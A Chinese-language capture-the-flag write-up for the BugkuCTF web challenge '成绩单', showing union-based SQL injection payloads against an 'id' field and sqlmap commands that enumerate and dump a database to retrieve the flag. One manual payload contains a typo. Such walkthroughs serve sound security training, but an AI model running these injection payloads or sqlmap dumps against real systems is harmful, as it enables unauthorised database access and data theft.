BugkuCTF-web-成绩单 writeup
记一次简单的SQL注入
首先分析题目:进入题目网页就可以看到这个![](https://img-blog.csdnimg.cn/20200326182102127.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2t1bGxlcl9ZYW4=,size_16,color_FFFFFF,t_70)
遇到表单,当然要填一填,看看有什么变化。于是我根据题目提示输入1。仔细观察可以发现输入1,并且返回后,出现了龙龙龙的成绩单以及四份数据。
于是打开hackbar,post提交
正常返回,加 ’ 测试一下
啥也不是,再加个 #
又正常了。
那么基本可以认定是SQL注入无疑了。
两种解题方法:
1:手动注入:
在手工注入之前要先知道一些小知识点,拿小本本记下来
1、
MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。利用这个,我们可以获取表名,列名等
2、
查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了
先用“id=3' order by 4#
尝试,发现可以,然后用id=3' order by 5#
尝试,发现不行,所以确定是四个字段。
接下来,爆破库名:id=-1' union select 1,2,3,4
//把id变为-1是因为如果id有回显的话,我们查询的东西就不能能显示了,所以要换一个id没有东西的数值
得到库名之后就可以开始暴库了:id=-1' union select 1,database(),user(),version()#
得到数据库名为skctf_flag
id=-1' union select 1,group_concat(colum_name),user(),version() from information_schema.tables where table_schema=database()#
上面这个指令中,group_concat是表示把查询的内容联合到一起方便查看的,
接下来就是暴列名了:
id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'
最后的最后,开始的开始,
列出数据id=-1' union select 1,skctf_flag,user(),version() from fl4g#
第二种方法:
sqlmap跑:
表单输入1或者2或者3,用burp抓包,并且新建记事本保存。
然后打开咱们可爱的sqlmap:
执行以下代码:sqlmap.py -r D:\250.txt -p id --dbs
应为我把我的txt文件命名为250.txt,并且放在D盘。
-r -->打开指定文件
-p -->指定注入参数
–current-db(两个-) 或 --dbs–>暴库名
然后就是如下内容
可见爆出了库名。
然后咱们来爆表名:
sqlmap.py -r D:\250.txt -p id -D skctf_flag --tables
-D -->指定数据库
–tables(两个-) -->列出当前数据库的表
宾果~成功爆破出表名,然后咱们来爆破列
命令:sqlmap.py -r D:\250.txt -p id -D skctf_flag -T fl4g --column
-T -->指定表名
–column(两个-)–>列出当前表的列
爆破出来了,西大奔普!!
最后下载数据,
命令:sqlmap.py -r D:\250.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
-C -->指定列名
–dump(两个-)–>下载数据